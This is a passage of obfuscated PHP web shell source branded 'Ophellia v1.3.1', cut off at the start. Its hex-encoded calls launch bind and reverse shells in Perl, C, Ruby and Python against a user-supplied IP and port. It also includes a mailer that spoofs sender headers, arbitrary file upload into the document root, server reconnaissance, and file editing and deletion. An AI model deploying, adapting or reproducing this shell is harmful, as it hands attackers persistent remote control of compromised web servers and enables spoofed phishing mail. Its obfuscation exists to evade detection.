Network Tools

Bind Shell

Reverse Shell

" . "\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('ps aux | grep cb') . "
";
          }
          if (${"\x5f\x50\x4f\x53\x54"}['type'] == 'pb') {
              sf('/tmp/pb.pl', $bpp);
              "\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('perl /tmp/pb.pl ' . ${"\x5f\x50\x4f\x53\x54"}['port'] . ' &');
              echo "
" . "\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('ps aux | grep pb') . "
";
          }
          if (${"\x5f\x50\x4f\x53\x54"}['type'] == 'cbc') {
              sf('/tmp/cbc.c', $bcc);
              "\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('gcc -o /tmp/cbc /tmp/cbc.c');
              "\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('/tmp/cbc ' . ${"\x5f\x50\x4f\x53\x54"}['ip'] . ' ' . ${"\x5f\x50\x4f\x53\x54"}['port'] . ' &');
              echo "
" . "\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('ps aux | grep cbc') . "
";
          }
          if (${"\x5f\x50\x4f\x53\x54"}['type'] == 'pbc') {
              sf('/tmp/pbc.pl', $bcp);
              "\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('perl /tmp/pbc.pl ' . ${"\x5f\x50\x4f\x53\x54"}['ip'] . ' ' . ${"\x5f\x50\x4f\x53\x54"}['port'] . ' &');
              echo "
" . "\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('ps aux | grep pbc') . "
";
          }
          if (${"\x5f\x50\x4f\x53\x54"}['type'] == 'rbb') {
              sf('/tmp/rbb.rb', $rby);
              "\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('ruby /tmp/rbb.rb ' . ${"\x5f\x50\x4f\x53\x54"}['port'] . ' &');
              echo "
" . "\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('ps aux | grep rbb') . "
";
          }
          if (${"\x5f\x50\x4f\x53\x54"}['type'] == 'rbbc') {
              sf('/tmp/rbbc.rb', $rby);
              "\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('ruby /tmp/rbbc.rb ' . ${"\x5f\x50\x4f\x53\x54"}['port'] . ' ' . ${"\x5f\x50\x4f\x53\x54"}['ip'] . ' &');
              echo "
" . "\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('ps aux | grep rbbc') . "
";
          }
          if (${"\x5f\x50\x4f\x53\x54"}['type'] == 'pyb') {
              sf('/tmp/pyb.py', $pty);
              "\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('python /tmp/pyb.py ' . ${"\x5f\x50\x4f\x53\x54"}['port'] . ' &');
              echo "
" . "\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('ps aux | grep pyb') . "
";
          }
          if (${"\x5f\x50\x4f\x53\x54"}['type'] == 'pybc') {
              sf('/tmp/pybc.py', $pty);
              "\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('python /tmp/pybc.py ' . ${"\x5f\x50\x4f\x53\x54"}['port'] . ' ' . ${"\x5f\x50\x4f\x53\x54"}['ip'] . ' &');
              echo "
" . "\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('ps aux | grep pybc') . "
";
          }
      }
      die();
  }
    if (hlx($tools) == 'mailer') {
      echo '
Mailer Tools
From:  To:  Subject: 
my ip address is ' . ${"\x5f\x53\x45\x52\x56\x45\x52"}['REMOTE_ADDR'] . '
';
      if (isset(${"\x5f\x50\x4f\x53\x54"}['from'])) {
        $headers = "From: Ophellia <" . ${"\x5f\x50\x4f\x53\x54"}['from'] . ">" . PHP_EOL;
        $headers .= "Reply-To: Ophellia <" . ${"\x5f\x50\x4f\x53\x54"}['from'] . ">" . PHP_EOL;
        $headers .= "Return-Path: " . ${"\x5f\x50\x4f\x53\x54"}['from'] . PHP_EOL;
        $headers .= "X-Mailer: Microsoft Outlook 16.0";
        "\x6d\x61\x69\x6c"(${"\x5f\x50\x4f\x53\x54"}['to'], ${"\x5f\x50\x4f\x53\x54"}['subject'], ${"\x5f\x50\x4f\x53\x54"}['message'], $headers);
        echo "Mail Sent !";
      }
      echo '
';
      die();
    }
    if (hlx($tools) == 'upload') {
      echo "
Upload Tools
current_dir [ $path ]
document_root [ $root ]

 

";
      if (isset(${"\x5f\x50\x4f\x53\x54"}['upload'])) {
        if (${"\x5f\x50\x4f\x53\x54"}['uploadtype'] == 1) {
          $tmp = $_FILES['upload']['tmp_name'];
          $up = "\x62\x61\x73\x65\x6e\x61\x6d\x65"($_FILES['upload']['name']);
          if ("\x6d\x6f\x76\x65\x5f\x75\x70\x6c\x6f\x61\x64\x65\x64\x5f\x66\x69\x6c\x65"($tmp, $path . "/" . $up)) {
            echo "SUCCESSFULLY UPLOADED";
          } else {
            echo "FAILED TO UPLOAD FILE";
          }
        } else {
          $tmp = $_FILES['upload']['tmp_name'];
          $up = "\x62\x61\x73\x65\x6e\x61\x6d\x65"($_FILES['upload']['name']);
          if ("\x6d\x6f\x76\x65\x5f\x75\x70\x6c\x6f\x61\x64\x65\x64\x5f\x66\x69\x6c\x65"($tmp, $root . "/" . $up)) {
            echo "SUCCESSFULLY UPLOADED";
          } else {
            echo "FAILED TO UPLOAD FILE";
          }
        }
      }
      die();
    }
    if (hlx($tools) == 'info') {
      $disable_functions = (!empty(@"\x69\x6E\x69\x5F\x67\x65\x74"('disable_functions'))) ? "" . @"\x69\x6E\x69\x5F\x67\x65\x74"('disable_functions') . "" : "NONE";
      echo "
System           : " . @"\x70\x68\x70\x5f\x75\x6e\x61\x6d\x65"('a') . " " . ${"\x5f\x53\x45\x52\x56\x45\x52"}['SERVER_SOFTWARE'] . "
User             : " . "\x67\x65\x74\x5f\x63\x75\x72\x72\x65\x6e\x74\x5f\x75\x73\x65\x72"() . "
Free Space       : $size
Server IP        : " . "\x67\x65\x74\x68\x6f\x73\x74\x62\x79\x6e\x61\x6d\x65"(${"\x5f\x53\x45\x52\x56\x45\x52"}['HTTP_HOST']) . "
Client IP        : " . ${"\x5f\x53\x45\x52\x56\x45\x52"}['REMOTE_ADDR'] . "
Safe Mode        : $Safe
PHP Version      : " . @"\x70\x68\x70\x76\x65\x72\x73\x69\x6f\x6e"() . "
Disable Function : $disable_functions";
      echo "
";
      die();
    }
  }
  if (isset($rfile) and "\x69\x73\x5f\x77\x72\x69\x74\x61\x62\x6c\x65"($rfile)) {
    if ("\x75\x6e\x6c\x69\x6e\x6b"($rfile)) {
      echo ("
File $rfile Deleted");
    } else {
      echo ("
File $rfile Not Deleted");
    }
  }
  if (isset($mkdir)) {
    if (!empty($mkdir)) {
      if (mkdir($mkdir, 0777, true)) {
        echo "
Directory $mkdir Created";
      } else {
        echo "
Directory $mkdir Not Created";
      }
    } else {
      echo "
Can't create folder with empty name";
    }
  }
  if (isset($mkfile)) {
    echo '


  Back

';
    if (!empty(${"\x5f\x50\x4f\x53\x54"}['fname'])) {
      if (${"\x5f\x50\x4f\x53\x54"}['fname'] && ${"\x5f\x50\x4f\x53\x54"}['ftext']) {
        if ("\x66\x69\x6C\x65\x5F\x70\x75\x74\x5F\x63\x6F\x6E\x74\x65\x6E\x74\x73"(${"\x5f\x50\x4f\x53\x54"}['fname'], ${"\x5f\x50\x4f\x53\x54"}['ftext'])) {
          echo "
File " . ${"\x5f\x50\x4f\x53\x54"}['fname'] . " Created";
        } else {
          echo "
File " . ${"\x5f\x50\x4f\x53\x54"}['fname'] . " Not Created";
        }
      }
    } else {
      echo "
Can't create file with empty name";
    }
  }
  if (isset($rmdir) and "\x69\x73\x5f\x77\x72\x69\x74\x61\x62\x6c\x65"($rmdir)) {
    if ("\x72\x6d\x64\x69\x72"($rmdir)) {
      echo "
Directory $rmdir Deleted";
    } else {
      echo "
Directory $rmdir Not Deleted";
    }
  }
  if (isset($cndir)) {
    $dir = $cndir;
    $rr = ${"\x5f\x53\x45\x52\x56\x45\x52"}['SERVER_NAME'] . "$file?d=" . xlh($dir);
    header("Location: http://$rr");
  }
  if (isset($rename)) {
    echo '

Old Name:  New Name:   Back
';
    if (${"\x5f\x50\x4f\x53\x54"}['oldname'] && ${"\x5f\x50\x4f\x53\x54"}['newname']) {
      if (isset(${"\x5f\x50\x4f\x53\x54"}['oldname'])) {
        rename(${"\x5f\x50\x4f\x53\x54"}['oldname'], ${"\x5f\x50\x4f\x53\x54"}['newname']);
        echo 'Rename File Done.
';
      } else {
        echo 'Rename File Failed.
';
      }
    }
    echo '
';
  }
  if (isset($f) and "\x66\x69\x6c\x65\x6d\x74\x69\x6d\x65"($f)) {
    $text = "\x68\x74\x6d\x6c\x65\x6e\x74\x69\x74\x69\x65\x73"("\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"($f));
    echo '' . $text . '

Back
';
  }
  if (isset($fedit) and "\x69\x73\x5f\x77\x72\x69\x74\x61\x62\x6c\x65"($fedit)) {
    $text = "\x68\x74\x6d\x6c\x73\x70\x65\x63\x69\x61\x6c\x63\x68\x61\x72\x73"("\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"($fedit));
    echo '
' . $text . '

 Back

';
    if ("\x66\x69\x6C\x65\x5F\x65\x78\x69\x73\x74\x73"($fedit)) {
      if (isset(${"\x5f\x50\x4f\x53\x54"}['text'])) {
        $write = fopen($fedit, 'w');
        $new_text = "\x73\x74\x72\x69\x70\x73\x6c\x61\x73\x68\x65\x73"(${"\x5f\x50\x4f\x53\x54"}['text']);
        if (fwrite($write, $new_text)) {
          echo 'Edit File Done.
';
        } else {
          echo 'Edit File Failed.
';
        }
        fclose($write);
      }
    }
  }
  echo '
';
  foreach ("\x73\x63\x61\x6E\x64\x69\x72"($path) as $files) {
    if (!is_dir($files)) continue;
    if ($files == ".." | $files == ".") {
      echo "\n                  ";
    } else {
      echo "\n                  \n                  \n                  \n                  \n                  \n              ";
    }
  }
  foreach ("\x73\x63\x61\x6E\x64\x69\x72"($path) as $files) {
    if (!is_file($files)) continue;
    echo "\n            \n            \n            \n            \n            \n        ";
  }
  echo "
 File Name 
 Actions 
 Filesize 
 Filetype 
 Permission 
 Owner / Group 
 Last Modified 
$files
$files
      / RM / CN
-
" . gtyp($files) . "
" . perms($files) . "
" . goog($files) . "
" . lasmod($files) . "
$files
ED / RM / CN
" . fsize($files) . "
" . gtyp($files) . "
" . perms($files) . "
" . goog($files) . "
" . lasmod($files) . "
@elliottophellia
";
  if (isset(${"\x5F\x47\x45\x54"}['exit'])) {
    unset(${"\x5F\x53\x45\x53\x53\x49\x4F\x4E"}['pass']);
    echo "";
    exit();
  }
} else {
  echo '
';
}
header('X-Powered-By: Ophellia v1.3.1');
echo '';